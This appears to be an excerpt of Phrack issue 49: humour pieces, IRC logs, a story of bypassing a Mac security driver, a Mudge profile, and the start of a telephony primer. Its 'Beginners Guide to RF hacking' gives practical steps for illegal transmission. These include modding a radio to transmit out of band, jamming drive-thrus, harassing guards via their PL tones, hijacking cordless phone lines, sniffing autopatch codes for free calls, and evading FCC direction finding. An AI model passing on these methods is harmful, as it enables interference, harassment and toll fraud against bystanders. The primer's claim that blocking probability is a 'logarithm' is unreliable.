2. "It was the beginning and the end of my pimping career" ‑ Kingpin referring to his escapade of getting paid two dollars for sex.

1. "French Toast Pleeeeze!"

‑ Everyone

‑‑‑‑<>‑‑

TOP 0x10 REASONS TO KICK && WAYS TO GET

KICKED OUT OF #HACK (Revision 0.1.1) By SirLance

0x0f asking for any information about any Microsoft products

0x0e talking about cars, girls, or anything unrelated to hacking 0x0d flooding with a passwd file contents

0x0c asking how to unshadow passwd

0x0b being on #hack, #warez and #hotsex at the same time

0x0a asking for ops

0x09 using a nick including words like 'zero' 'cool' 'acid' or 'burn' 0x08 asking if someone wants to trade accounts, CCs or WaR3Z

0x07 asking what r00t means

0x06 asking when the latest Phrack will be released

0x05 asking where to get or how to create a BOT

0x04 having the word BOT anywhere in your nick

0x03 having a nick like Br0KnCaPs and SpEak LiK3 Th4t all the time 0x02 asking for flash.c or nuke.c, spoof.c, ipsniff.c or CrackerJack 0x01 thinking #hack is a helpdesk and ask a question

0x00 being on from AOL, Prodigy, CompuServe, or MSN

‑EOL‑

‑‑‑‑<>‑‑

International business

by HCF

Friday, 3:00am 4.12:

I get the call:

Julie:"You break into computers right...?"

Dover:"Yea, what kind..."

Julie:"Mac, I think."

Dover:"Hmm... Call ``HCF'' at 213.262‑XXXX"

Julie:"Uh, will he be awake...?"

Dover:"Don't worry (snicker) he'll be awake."

Friday, 4:00am 4.12

HCF called me at 4am after he got the call from Julie:

HCF:"you got me into this mess, I need to barrow your car." Dover:"Umm shure. Ok..."

HCF:"I'll be right over..."

Friday, 12:30pm 4.12: upon returning the car:

HCF: "Umm, got a parking ticket, I'll write you a check later..."

(I never got the check.)

Kathleen's comment to Julie which was passed to me (days later):

Kath:"Why didn't you tell me he was cute, I want him for myself!"

When I passed this on to HCF:

HCF:"She is *gorgeous* but not without a wet suit..."

Here is the story that happened early one Friday morning... The names have been changed to protect the innocent, the guilty, and the innocent‑looking guilty....

I was reading up on a new firewall technology, the kind that locks addresses out of select ports based on specific criterion, when the phone rang.

"Hello?"

The voice of a women, between 18 and 30, somewhat deep like Kathleen Turner's, said, "Uh, hello..."

There was an obvious pause. It seemed she was surprised that I was so awake and answered sharply on the second ring. It was in the middle of my working hours; 3:30 AM. There was no delay in the phone's response, no subtle click after I picked up, and the audio quality was clear.

"Do you hack?" she asked.

Recorder on. Mental note: *stop* getting lazy with the recorder.

"No. Are you on a Cell phone?" I responded

"No."

"Are you using a portable battery operated telephone?"

"No. I was told by my friend ..."

"Are you in any way associated with local, federal or state law enforcement agencies?"

"Oh, I get it. No I'm not. Julie said that you could help me."

I knew Julie through a mutual friend.

"Could you call me back in 5 minutes."

"Well, um, ok."

Throughout the whole conversation, the phones on her end were ringing off the hook. As soon as I hung up, Ben, the mutual friend, called. Julie had called him first, and he gave her my number. I got his reassurance that this was legit. Ben was snickering but wouldn't divulge what it was about. By now my curiosity was piqued.

The phone rang again, "I need someone who can break into a computer." "Whose computer?"

"Mine."

It turns out that the woman had hostility bought out the previous owner of this business. The computer in question had both a mission‑critical database of some sort and a multi‑level security software installed. She had been working under a medium permission user for some time. The computer crashed in such a way as to require the master password (root) in order to boot. The pervious owner moved out of town, could not be contacted, and was most likely enjoying the situation thoroughly. The woman was unaware of any of the technical specifications or configuration of the machine. I was able to find out that it was a Apple Macintosh Color Classic; a machine primarily distributed in Japan. It would be around 10:00 AM in Tokyo.

"Why are the phones ringing so often at this time of the morning?" I asked. "I do a lot of international business."

I was intrigued, the answer was smoothly executed without a delay or pitch change. I took the job.

Upon arriving, I was greeted by a young, stunningly beautiful, woman with long, jet‑black hair and stressed but clear green eyes. I checked the room for obvious bugs and any other surveillance. There were calendars on the wall, filled out with trixy and ultra‑masculine sounding names like Candy and Chuck. The phones had died down some. The machine in question was obviously well integrated into the environment; dust patterns, scratch marks, worn‑out mouse pad; it had been there for some time. There was a PBX, around 6 to 8 voice lines, three phones, and no network, modem or outside connectivity.

The security, which we'll call VileGuard, defeated all the "simple" methods of by‑passing. None of the standard or available passwords, in any case or combination, worked. A brute‑force script would be slow as second failure shut the machine down.

I made a SCSI sector copy onto a spare drive and replaced it with the original. This involved tearing open the machine, pulling various parts out, hooking up loose wires, merging several computers, and turning things on in this state. Trivial and routine, I did it rapidly and with both hands operating independently. For those who have never opened the case of an all‑in‑one Mac, it involves a rather violent looking smack on both sides of the pressure fitted case backing, appropriately called "cracking the case." This did not serve well to calm the nerves of the client. After a few moments of pallor and little chirps of horror, she excused herself from the room.

While the SCSI copy preceded, I overheard her taking a few calls in the other room. What I heard was a one‑sided conversation, but I could pretty much fill in the blanks,

"Hello, Exclusive Escorts, may I help you?"

"Would you like to be visited at your home or at a hotel?"

"Well, we have Suzy, she's a 5'4" Asian lady with a very athletic body. Very shy but willing, and very sensual, she measures 34, 24, 34." "Big what? Sir, you'll have to speak a little clearer."

"Oh, I see, well we have a very well endowed girl named Valerie, she's a double D and measures 38, 24, 34. Would that be more to your liking?"

It was not easy to keep from busting up laughing.

"He wants you to do what? Well, charge him double."

With the new drive installed, and to predictable results, I fired up a hex editor. My experience has been that full‑disk encryption typically slows the machine down to the point where the user disables it. At around $5C9E8, I found, "...507269 6E74204D 616E6167 65722045 72726F72... ...Print Manager Error..." in plain text. I searched for some of the known, lower permission, passwords. I found a few scattered around sector $9b4. The hex editor I was using could not access the boot or driver partitions, so I switched to one that could. It's not as pretty of an interface as the last editor, and is rather old. Its saving grace though is that it doesn't recognize the modern warnings of what it can and cannot see. There it was, VileGuard; driver level security.

"Eric is endowed with eight and has a very masculine physique."

Every male was "endowed with eight," every female had relatively identical measurements.

I hunted fruitlessly around the low sectors for what might be the master password. All awhile wishing the find function of the editor would accept regexp. All the other passwords were intercapped on the odd character, but that was a convention of the current owner, and not necessarily used by the past owner.

"Oh, you want a girl that is fluent in Greek?"

It's not professional for me, and not good salesmanship for her, to have me overheard laughing myself into anoxia. After trying to straighten up and gather my wits together again, I began to consider an alternate possibility. If I don't know the password, what happens if I make it so that the driver doesn't either. Return to the first‑installed condition perhaps? It was a thought. It turned out to be a bad thought, resulting in my haphazardly writing "xxxx" over, pretty much, random sectors of the driver partition.

"Oh yes sir, Roxanne prefers older men. She appreciates how very experienced they are. I understand sir, and I'm sure she can help you with that."

Before I made a second copy and whipped out the RE tools, TMON and MacNosy, I tried booting. The results were, as you'd expect, that the disk didn't mount. Instead, it asked me if I wanted to reinitialize the disk. Pause. Think... ya, why not. This was most definitely farther than I had gotten with the secure driver installed and functional. I canceled and fired up one of many disk formatters I had on hand. Though the formatter wasn't the slickest, it had proven itself repeatedly in the past. Its main quality was that of writing a driver onto a disk that is in just about *any* condition. It's made by a French drive manufacturer. As dangerous as this behavior is, I'm sure it's a planned feature. It could see the drive and allowed me to "update" the driver. A few seconds later, a normal "finished" dialog.

"Yes, Stan carries a set of various toys with him. No, I don't believe he normally carries that, but I'm sure if you ask him nicely, he'll drop by the hardware store on his way and pick one up."

I rebooted. It worked. I copied over the disk's data and reformatted. Time to try it on the original drive (I had, of course, been working on my copy.) Upon startup, before anything could be accessed, "Please input the master password..."

Puts an unusual twist on the phrase, "adverse working conditions"

‑ HCF

Note 1: Payment was in currency.

Note 2: If you ever think you understand the opposite sex's view on sex, you're underestimating.

‑‑‑‑<>‑‑

The Beginners Guide to RF hacking

by Ph0n‑E of BLA & DOC

Airphones suck. I'm on yet another long plane ride to some wacky event. I've tried dialing into my favorite isp using this lame GTE airphone, $15 per call no matter how long you "talk". In big letters it says 14.4k data rate, only after several attempts I see the very fine print, 2400 baud throughput. What kind of crap is that? A 14.4 modem that can only do 2400? It might be the fact they use antiquated 900MHz AM transmissions. The ATT skyphones that are now appearing use imarsat technology, but those are $10/minute. Anyway they suck, and I have an hour or so before they start showing Mission Impossible so I guess I'll write this Phrack article Route has been bugging me about.

There are a bunch of people who I've helped get into radio stuff, five people bought handheld radios @ DefCon... So I'm going to run down some basics to help everyone get started. As a disclaimer, I knew nothing about RF and radios two years ago. My background is filmmaking, RF stuff is just for phun.

So why the hell would you want to screw around with radio gear? Isn't it only for old geezers and wanna be rentacops? Didn't CB go out with Smokey & the Bandit?

Some cool things you can do:

Fast‑food drive thrus can be very entertaining, usually the order taker is on one frequency and the drivethru speaker is on another. So you can park down the block and tell that fat pig that she exceeds the weight limit and McDonalds no longer serves to Fatchix. Or when granny pulls up to order those tasty mcnuggets, blast over her and tell the nice MCD slave you want 30 happy meals for your trip to the orphanage. If you're lucky enough to have two fast food palaces close to each other you can link them together and sit back and enjoy the confusion.

You've always wanted a HERF gun, well your radio doubles as a small scale version. RF energy does strange and unpredictable things to electronic gear, especially computers. The guy in front of me on the plane was playing some lame game on his windowz laptop which was making some very annoying cutey noises. He refused to wear headphones, he said "they mushed his hair...". Somehow my radio accidentally keyed up directly under his seat, there was this agonizing cutey death noise and then all kinds of cool graphics appeared on his screen, major crash. He's still trying to get it to reboot.

Of course there are the ever popular cordless phones. The new ones work on 900MHz, but 90% of the phones out there work in the 49MHz band. You can easily modify the right ham radio or just use a commercial low band radio to annoy everyone. Scanning phone calls is OK, but now you can talk back, add sound effects, etc... That hot babe down the street is talking to her big goony boyfriend, it seems only fair that you should let her know about his gay boyfriend. Endless hours of torture.

You can also just rap with your other hacker pals (especially useful cons). Packet radio, which allows you up to 9600 baud wireless net connections, its really endless in its utility.

How to get started:

Well you're supposed to get this thing called a HAM license. You take this test given by some grampa, and then you get your very own call sign. If you're up to that, go for it. One thing though, use a P.O. box for your address as the feds think of HAMs as wackos, and are first on the list when searching for terrorists. Keep in mind that most fun radio things are blatantly illegal anyway, but you're use to that sort of thing, right?

If you are familiar with scanners, newer ones can receive over a very large range of frequencies, some range from 0 to 2.6 GHz. You are not going to be able to buy a radio that will transmit over that entire spectrum. There are military radios that are designed to sweep large frequencies ranges for jamming, bomb detonation, etc. ‑ but you won't find one at your local radio shack.

A very primitive look at how the spectrum is broken down into sections:

0 ‑ 30MHz (HF) Mostly HAM stuff, short‑wave, CB.

30 ‑ 80MHz (lowband) Police, business, cordless phones, HAM

80 ‑ 108MHz (FM radio) You know, like tunes and stuff

110 ‑ 122MHz (Aircraft band) You are clear for landing on runway 2600 136 ‑ 174MHz (VHF) HAM, business, police

200 ‑ 230MHz Marine, HAM

410 ‑ 470MHz (UHF), HAM, business

470 ‑ 512MHz T‑band, business, police

800MHz cell, trunking, business

900MHz trunking, spread spectrum devices, pagers

1GHZ+ (microwave) satellite, TV trucks, datalinks

Something to remember, the lower the frequency the farther the radio waves travel, and the higher the frequency the more directional the waves are.

A good place to start is with a dual band handheld. Acquire a Yaesu FT‑50. This radio is pretty amazing, its very small, black and looks cool. More importantly it can easily be moded. You see this is a HAM radio, it's designed to transmit on HAM bands, but by removing a resistor and solder joint, and then doing a little keypad trick you have a radio that transmits all over the VHF/UHF bands. It can transmit approximately 120‑232MHz and 315‑509MHz (varies from radio to radio), and will receive from 76MHz to about 1GHz (thats 1000MHz lamer!), and yes that *includes* cell phones. You also want to get the FTT‑12 keypad which adds PL capabilities and other cool stuff including audio sampling. So you get a killer radio, scanner, and red box all in one! Yaesu recently got some heat for this radio so they changed the eprom on newer radios, but they can modified as well, so no worries.

Now for some radio basics. There are several different modulation schemes, SSB ‑ Single Side Band, AM ‑ Amplitude Modulation, FM ‑ Frequency Modulation, etc. The most common type above HF communications is NFM, or Narrow band Frequency Modulation.

There are three basic ways communication works:

Simplex ‑ The Transmit and Receive frequencies are the same, used for short distance communications.

Repeater ‑ The Transmit and Receive frequencies are offset, or even on different bands.

Trunking ‑ A bunch of different companies or groups within a company share multiple repeaters. If you're listening to a frequency with a scanner and one time its your local Police and the next it's your garbage man, the fire dept... ‑ that's trunking. Similar to cell phones you get bits and pieces of conversations as calls are handed off among repeater sites.

Their radios are programmed for specific "talk groups", so the police only hear police, and not bruno calling into base about some weasel kid he found rummaging through his dumpsters. There are three manufacturers ‑ Motorola, Ericsson (GE), and EF Johnson. EFJ uses LTR which sends sub‑audible codes along with each transmission, the other systems use a dedicated control channel system similar to cell phones. Hacking trunk systems is an entire article in itself, but as should be obvious, take out the control channel and the entire system crashes (in most cases).

OK so you got your new radio you tune around and your find some security goons at the movie theater down the street. They are total losers so you start busting on them. You can hear them, but why they can't hear you? The answer‑‑ SubAudible Tones. These are tones that are constantly transmitted with your voice transmission ‑ supposedly subaudible, but if you listen closely you can hear them. With out the tone you don't break their squelch (they don't hear you.) These tones are used keep nearby users from interfering with each other and to keep bozos like you from messing with them. There are two types, CTCSS Continuos Tone‑Codes Squelch system (otherwise known as PL or Privacy Line by Motorola) or DCS Digital Coded Squelch (DPL ‑ Digital Privacy Line). If you listened to me and got that FT‑50 you will be styling because its the only modable dual band that does both. So now you need to find their code, first try PL because its more common. There is a mode in which the radio will scan for tones for you, but its slow and a pain. The easiest thing to do is turn on Tone Squelch, you will see the busy light on your radio turn on when they are talking but you wont hear them. Go into the PL tone select mode and tune through the different tones while the busy light remains on, as soon as you hear them again you have the right tone, set it and bust away! If you don't find a PL that works move on to DPL. There is one other squelch setting which uses DTMF tone bursts to open the squelch, but its rarely used, and when it is used its mostly for paging and individuals.

Now you find yourself at Defcon, you hear DT is being harassed by security for taking out some slot machines with a HERF gun, so you figure it's your hacker responsibility to fight back. You manage to find a security freq, you get their PL, but their signal is very weak, and only some of them can hear your vicious jokes about their moms. What's up? They are using a repeater. A handheld radio only puts out so much power, usually the max is about 5 watts. That's pretty much all you want radiating that close to your skull (think brain tumor). So a repeater is radio that receives the transmissions from the handhelds on freq A and then retransmits it with a ton more watts on freq B. So you need to program your radio to receive on one channel and transmit on another. Usually repeaters follow a standard rule of 5.0MHz on UHF and .6MHz on VHF, and they can either be positive or negative offsets. Most radios have a auto‑repeater mode which will automatically do the offset for you or you need to place the TX and RX freqs in the two different VCOs. Government organizations and people who are likely targets for hacks (Shadow Traffic news copter live feeds) use nonstandard offsets so you will just need to tune around.

Some ham radios have an interesting feature called crossband repeat. You're hanging out at Taco Bell munching your Nachos Supreme listening to the drive thru freq on your radio. You notice the Jack in the Box across the street, tuning around you discover that TacoHell is on VHF (say 156.40) and Jack in the Crack is on UHF (say 464.40). You program the two freqs into your radio and put it in xband repeat mode. Now when someone places their order at Taco they hear it at Jacks, and when they place their order at Jacks they hear it at Taco. When the radio receives something on 156.40 it retransmits it on 464.40, and when it receives something on 464.40 it retransmits it on 156.40.

"...I want Nachos, gimme Nachos..."

"...Sorry we don't have Nachos at Jack's..."

"...Huh? Im at Taco Bell..."

Get it? Unfortunately the FT‑50 does not do xband repeat, that's the only feature it's lacking.

Damn it, all this RF hacking is fun, but how do I make free phone calls? Well you can, sort of. Many commercial and amateur repeaters have a feature called an autopatch or phonepatch. This is a box that connects the radio system to a phone line so that you can place and receive calls. Keep in mind that calls are heard by everyone who has their radio on! The autopatch feature is usually protected by a DTMF code. Monitor the input freq of the repeater when someone places a call you will hear their dtmf digits ‑ if you're super elite you can tell what they are by just hearing them, but us normal people who have lives put the FT‑50 in DTMF decode mode and snag the codez... If your radio doesn't do DTMF decode, record the audio and decode it later with your soundblaster warez. Most of the time they will block long‑distance calls, and 911 calls. Usually there is a way around that, but this is not a phreaking article. Often the repeaters are remote configurable, the operator can change various functions in the field by using a DTMF code. Again, scan for that code and you too can take control of the repeater. What you can do varies greatly from machine to machine, sometimes you can turn on long‑distance calls, program speed‑dials, even change the freq of the repeater.

What about cordless phones, can't I just dial out on someone's line? Sort of. You use to be able to take a Sony cordless phone which did autoscanning (looked for an available channel) drive down the block with the phone on until it locked on to your neighbors cordless and you get a dialtone. Now cordless phones have a subaudible security tone just like PL tones on radios so it doesn't work anymore. There are a bunch of tones and they vary by phone manufacturer, so it's easier to make your free calls other ways.

But as I mentioned before you can screw with people, not with your FT‑50 though. Cordless phones fall very close to the 6 meter (50MHz) HAM band and the lowband commercial radio frequencies. There are 25 channels with the base transmitting 43‑47MHz and the handset from 48‑50MHz. What you want to do is program a radio to receive on the base freqs and transmit on the handset freqs. The phones put out a few milliwatts of power (very little). On this freq you need a fairly big antenna, handhelds just don't cut it ‑ think magmount and mobile. There are HAM radios like the Kenwood TM‑742A which can be modified for the cordless band, however I have not found a radio which works really well receiving the very low power signals the phones are putting out. So, I say go commercial! The Motorola Radius/Maxtrac line is a good choice. They have 32 channels and put out a cool 65watts so your audio comes blasting out of their phones. Now the sucko part, commercial radios are not designed to be field programmable. There are numerous reasons for this, mainly they just want Joe rentalcop to know he is on "Channel A" , not 464.500. Some radios are programmed vie eproms, but modern Motorola radios are programmed via a computer. You can become pals with some guy at your local radio shop and have him program it for you. If you want to do it yourself you will need a RIB (Radio Interface Box) with the appropriate cable for the radio, and some software. Cloned RIB boxes are sold all the time in rec.radio.swap and at HAM swap meets. The software is a little more difficult, Motorola is very active in going after people who sell or distribute thier software (eh, M0t?) They want you to lease it from them for a few zillion dollars. Be cautious, but you can sometimes find mot warez on web sites, or at HAM shows. The RIB is the same for most radios, just different software, you want Radius or MaxTrac LabTools. It has built in help, so you should be able to figure it out. Ok so you got your lowband radio, snag a 6 meter mag mount antenna, preferably with gain, and start driving around. Put the radio in scan mode and you will find and endless amount of phone calls to break into. Get a DTMF mic for extra fun, as your scanning around listen for people just picking up the phone to make a call. You'll hear dialtone, if you start dialing first since you have infinitely more power than the cordless handset you will overpower them and your call will go through. It's great listening to them explain to the 411 operator that their phone is possessed by demons who keep dialing 411. Another trick is to monitor the base frequency and listen for a weird digital ringing sound ‑ these are tones that make the handset ring. Sample these with a laptop or a yakbak or whatever and play them back on the BASE frequency (note, not the normal handset freq) and you will make their phones ring. Usually the sample won't be perfect so it will ring all wacko. Keep in mind this tone varies from phone to phone, so what works on one phone wont work on another.

Besides just scanning around how do you find freqs? OptoElectronics makes cool gizmos called near‑field monitors. They sample the RF noise floor and when they see spikes above that they lock on to them. So you stick the Scout in your pocket, when someone transmits near you, the scout reads out their frequency. The Explorer is thier more advanced model which will also demodulates the audio and decode PL/DPL/DTMF tones. There are also several companies that offer CDs of the FCC database. You can search by freq, company name, location, etc. Pretty handy if your looking for a particular freq. Percon has cool CDs that will also do mapping. Before you buy anything check the scanware web site, they are now giving away their freq databases for major areas.

OK radioboy, you're hacking repeaters, you're causing all the cordless phones in your neighborhood to ring at midnight, and no one can place orders at your local drivethrus. Until one day, when the FCC and FBI bust down your door. How do you avoid that?? OK, first of all don't hack from home. Inspired people can eventually track you down. How? Direction Finding and RF Fingerprinting. DF gear is basically a wideband antenna and a specialized receiver gizmo to measure signal strength and direction. More advanced units connect into GPS units for precise positioning and into laptops for plotting locations and advance analysis functions such as multipath negations (canceling out reflected signals.) RF finger printing is the idea that each individual radio has specific characteristics based on subtle defects in the manufacture of the VCO and AMP sections in the radio. You sample a waveform of the radio and now theoretically you can tell it apart from other radios. Doesn't really work though‑‑ too many variables. Temperature, battery voltage, age, weather conditions and many other factors all effect the waveform. Theoretically you could have a computer scanning around looking for a particular radio, it might work on some days. Be aware that fingerprinting is out there, but I wouldn't worry about it *too* much. On the other hand DF gear in knowledgeable hands does work. Piss off the right bunch of HAMS and they will be more than happy to hop in their Winnebego and drive all over town looking for you. If you don't stay in the same spot or if you're in an area with a bunch of metal surfaces (reflections) it can be very very hard to find you. Hack wisely, although the FCC has had major cutbacks there are certain instances in which they will take immediate action. They are not going to come after you for encouraging Burger King patrons to become vegetarians, but if you decide to become an air‑traffic controller for a day expect every federal agency you know of (and some you don't) to come looking for your ass.

My plane is landing so thats all for now, next time ‑ advanced RF hacking, mobile data terminals, van eck, encryption, etc.

EOF

‑‑‑‑<>‑‑

10.16.96

Log from RAgent

GrimReper: I work For Phrack

GrimReper: Yeah

GrimReper: I gotta submit unix text things like every month GrimReper: I've been in Phrack for a long time

GrimReper: Phrack is in MASS

‑> *grimreper* so how much does Phrack pay you?

*GrimReper** How much?

*GrimReper** Hmm......

*GrimReper** About $142

‑> *grimreper* really

‑> *grimreper* who paid you?

*GrimReper** w0rd

*GrimReper** CardShoot

*GrimReper** Cardsh00t

‑> *grimreper* hmm, I don't see any "cardsh00t" in the credits for phrack +48

*GrimReper** There is

‑> *grimreper* you might as well stop lying before I bring in daemon9, +he's another friend of mine

‑> *grimreper* he's one of the editors of phrack

*GrimReper** Get the latest Phrack?

*GrimReper** Its gonna have my NN

*GrimReper** watch

‑> *grimreper* not anymore

*GrimReper** Go Ahead

‑> *grimreper* actually

*GrimReper** so?

‑> *grimreper* you will be mentioned

‑> *grimreper* you'll be known as the lying fuckhead you are, when this +log goes in the next issue

‑‑‑‑<>‑‑

10.24.96

Log from Aleph1

*** ggom is ~user01@pm1‑6.tab.com (ggom)

*** on irc via server piglet.cc.utexas.edu ([128.83.42.61] We are now all piglet)

*ggom* i am assembling a "tool shed". A "shed" for certain "expert" activity. Can you help?

‑> *ggom* maybe... go on

*ggom* i represent certain parties that are looking for corporate information. this would fall under the "corporate espionage" umbrella

*ggom* this information could probably be obtained via phone phreak but access to corporate servers would be a plus...can you help?

‑> *ggom* a) how do I know you are not a cop/fed? b) why did you come to #hack to ask for this? b) what type of data you after? c) what type of money are you talking about?

*ggom* where else should i go to ask for this stuff????????

‑> *ggom* you tell me. How do you know about #hack?

*ggom* looked it up on the irc server...figured this was a good place to start........... i am talking about 4 to 5 figures here for the information ‑> *ggom* you are also talking 4 to 5 years

‑> *ggom* #hack is visited regularly by undercovers and the channel is logged ‑> *ggom* talking openly about such thing is not smart

*ggom* whatever........... man, if you are GOOD, you are UNTRACEABLE. i guess i am looking in the wrong place......

‑> *ggom* you been watching way to many times "Hackers" and yes #hack is the wrong place...

*ggom* we are on a private channel.........suggest a more private setting.... ‑> *ggom* sorry you started off on a bad foot. If you got a million to spare for such information you would also have the resources to find the appropiate person to do the job. So you either are full off it, are a fed, or just plain dumb. This conversation ends here.

*ggom* later

*ggom* not talking a million.. talking 5 to 6 figures......... you are right

*ggom* talk to me.......

*ggom* talk to me.......

Phrack Prophile on Mudge

.oO Phrack 49 Oo.

Volume Seven, Issue Forty‑Nine

4 of 16

‑:[ Phrack Pro‑Phile ]:‑

We discussed for a long time who in the hacking world today best exemplifies everything that is right with hacking today, and we came up with a unanimous conclusion that it was Mudge. And so we were quite happy that our first choice for the first pro‑phile that we have done accepted our invitation. He cracked your Apple warez when you couldn't, he wrote buffer overflows before they were cool, he owned your Sendmail (and probably still does), and he still manages to give more back to the community than anyone else around. We can't say much more about him so let's see what he has to say for himself...

Mudge

~~~~~

Personal

~~~~~~~~

Handle: mudge

Call him: Enough people know it that its not secret, if you know it great, if not you probably don't have to. Past handles: Many old Apple ][ crackers remember me by a different handle. That handle is long put to rest thanks to the government.

Handle origin: Mudge is a very common Irish last name. Though I'm not Irish I met someone with the name and couldn't believe it was a proper name. Out of homage to this person I took it as a handle several years ago (and since I couldn't use the old one for legal reasons). Date of Birth: Mid to Late '60s

Age at current date: Mid to Late 20s

Height: 6'0"

Weight: 150

Eye color: Blue

Hair Color: Brownish / dirty blonde and loooong Computer: MPP Risc machine with 16 processors, 4 processor i860 Cadmus, 2 Sparcs, my original Apple ][+, NeXT cube, 486, 4 Sun 3's, Textronix 4051, SouthWest Technical Products 75

Sysop/Co‑Sysop of: Cell‑Block, Magic Tavern, Co‑Sysop on the old Circus and Circus‑II boards, ATDT, Works, and various AEs scattered across the country. And a little place called the l0pht.

Boards Frequented: Terrapin Station, Metal Shop, Black Crawling Systems, Used to hang on Rutgers' with the old Darpa people (they know who they are) through telenet. Net address: mudge@l0pht.com

Favorite Things

~~~~~~~~~~~~~~~

Women: Not a big womanizer, when I hook up with someone it's usually for quite some time. Though it's always nice when big companies try to bribe you other ways. (Moreso 'cause it shows how sleazy the big companies are in comparison to human beings :>) Cars: Ford GT40, Porsche Wolf, Ferrari 318's, and of course a black SVT Cobra with black leather interior.

Foods: Beer

Beers: Mateen Triple ‑ with a runner up of Pilsner Urquell Music: Frank Zappa, Dream Theater, Rush, Gentle Giant, King Crimson Instruments: Guitar. I actually hold advanced degrees in music (hehe had to make some money so here I am back in the 'puter world). Guitars: Ibanez 7 string, Gibson es225 Jazzer, and a custom built Ibanez from an endorsement deal (which is signed by 2 porn stars) Books: Jack of Shadows, Roadmarks, Stranger in a Strange Land, This Immortal, Steal this Urine Test, Steal this Book, PANIC the wonderful Sparc buffer overflow writers bible. Turn Ons: Pet Rocks

Turn Offs: 7/11 employees who think they can dance to Frank Zappa

Other Passions, Interests, Loves:

I love running the l0pht and the people that are involved in it. There's nothing like knowing that you are, at least attempting, to keep information flowing and offering back to the community. I love a lot of things. It's nice to see there is a sense of humor in the scene, and that there are still enough old‑school hackers that are willing to help if approached correctly Granted there aren't enough of the older ones to answer every aol.com e‑mail... It's a great feeling to be beneficial to both sides. For instance: when the 8.7.5 sploit went out and when we were doing a lot of work on SecureID (which much to their schagrin we got *really* far) that both the people writing the software and the hackers were happy to see our results. It's all about information and learning. If you stop learning... you're not doing it right. Unfortunately... it usually takes disseminating sploits to get some of the large companies to fix their buggy software.

Most Memorable Experiences

~~~~~~~~~~~~~~~~~~~~~~~~~~

Having a bunch of suits get out of, yes, K‑cars and take away most of my belongings ‑ learning 6502 (and living it) assembler ‑ writing my first buffer overflow a few years back ‑ the band cutting it's first audio CD playing the music for one of Hobbit's laser shows ‑ having Wietse Venema ask me "not" to break into bell labs at a talk he was giving ‑ having the bellcore author of the OTP RFC write me e‑mail realizing that I had beaten him to the punch with vulnerabilities ‑ everyday that I spend with my girlfriend ‑ hearing one of the songs I wrote and played on being played on the radio ‑ The L0pht and it's people ‑ everytime that you finish working on a new project and it actually works [especially when you are working on a hypothetical exploit and it pans out].

Some People to Mention

~~~~~~~~~~~~~~~~~~~~~~

Cheshire Catalyst for the initial inspiration. The L0pht folks, Raven, Hobbit for being a flat out brilliant fucker, ReDragon (best sense of humor and best patience... look who he works for ;‑)), Glyph ‑ one nasty coder, Squarewave for providing countless hours of ooh's and aahhh's while pouring through his code. The NewHack folks. G‑heap, Pope, SpaceRogue, Kingpin, Tan, Weld, Stefan, Brian Oblivion, t‑com, all the standard people that hang out and have a good time at the cons with the l0pht folks (ie the r00t, NHC, l0ck/anti l0ck, cDc...) shit ALL the cDc folks. etc., etc. etc. The ASR guys. There are so many people that have contributed so much. I'm sure I've left out many.

The biggest one: my father [the only person who could sit there and grin through all of it... and explain the leafing procedures and how the 6502 REALLY worked] (that's not leafing through on the Apple ][+... two separate things).

A few things you would like to say:

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

French Toast please...

31337 is not a strong XOR key...

(unless your secret host key is less than 5 characters long)

Thanks to the new phrack lineup for keeping a good thing going. Still remember DL'ing the latest ones along with the Countlegger series and having to Dalton's Disk Disintegrator them back together.

Oh yeah...

and if someone tells you something is secure...

ask them to prove it, and then STILL don't believe them.

~~~~~~~~~~~~~~~~~~~~~

One last thing, in your personal experience, have you found that most people in the scene are pretty much computer geeks?

"Absolutely not. I've had the privilege to hang out with everyone from Weitse Venema, Dan Farmer, Casper Dik, Peter Guttman, to the hacker scene like Hobbit, Daemon9, the l0pht folks... and there's very few out of the bunch that I would label 'computer geeks'. Computer geeks seem not to have that creative twist in many cases that hackers have. This is the same twist that says: I don't care what it's _supposed_ to do ‑ I bet I can make it do *this*."

Thanks a lot for the prophile.

"Thanks a lot for the opportunity."

Introduction to Telephony and PBX systems

.oO Phrack 49 Oo.

Volume Seven, Issue Forty‑Nine

File 05 of 16

Introduction to Telephony and PBX by Cavalier[TNO]

Table of Contents

1. . . . . . . . . . . . . . . . . . . . The Central Office

2. . . . . . . . . . . . . . .Private Branch Exchange (PBX) 3. . . . . . . . . Properties of Analog and Digital Signals

4. . . . . . . . . . . . . . . . .Analog‑Digital Conversion

5. . . . . . . . . . . . . . . . . . . Digital Transmission

6. . . . . . . . . . . . . . . . . . . . Multiplexing

7. . . . . . . . . . . . . . . . . . . . Transmission Media

8. . . . . . . . . . . . . . . . . . . . Signaling

.‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑.

1| The Central Office |

`‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑'

Telephones alone do nothing special. Their connection to the rest of world makes them one of mankind's greatest achievements.

In the early days of telephone communications, users had to establish their own connections to other telephones. They literally had to string their own telephone lines.

Although the customer inconvenience of building their own connections limited the availability of phone service, an even greater problem soon arose. As the telephone became more popular, more people wanted to be connected. At the time, each phone had to be directly wired to each other. In a very short time there was a disorganized maze of wires running from the homes and businesses.

A simple mathematical formula demonstrates the growth in the number of connections required in a directly wired network:

I = N(N‑1)/2

(I = number of interconnections; N = number of subscribers)

I = 100(100‑1)/2

If just 100 subscribers attempted to connect to each other, 4950 separate wire connections would be needed! Obviously, a better method was needed.

Switching

A Central Office (CO) switch is a device that interconnects user circuits in a local area, such as a town. The CO is a building where all subscriber phone lines are brought together and provided with a means of interconnection. If someone wants to call a neighbor, the call is routed through the CO and switched to the neighbor.

What if someone wanted to call a friend in the next town? If their friend was connected to a different CO, there was no way to communicate.

The solution was to interconnect COs. Then, CO‑A routed calls to CO‑B to complete the connection.

Today every CO in the world is connected to every other CO in a vast communication highway known as the Public Switched Network (PSN). The PSN goes by a variety of different names:

Dial‑up network

Switched network

Exchange network

The CO provides all users (subscribers) with a connection to each other. A critical note, however, is that no CO has the resources to switch all their users simultaneously. It would be too expensive and it is unnecessary to attempt to do so because for the vast majority of the time, only a small percentage of subscribers are on the phone at the same time.

If, on a rare occasion, all the circuits are busy, the next call will be blocked. A call is blocked if there are no circuits available to switch it because all the circuits are in use.

The term `probability of blocking` is a statistical logarithm which determines the chance that a call cannot be switched. For modern day commercial COs, the probability of blocking is very low.

History of COs

Operating switching

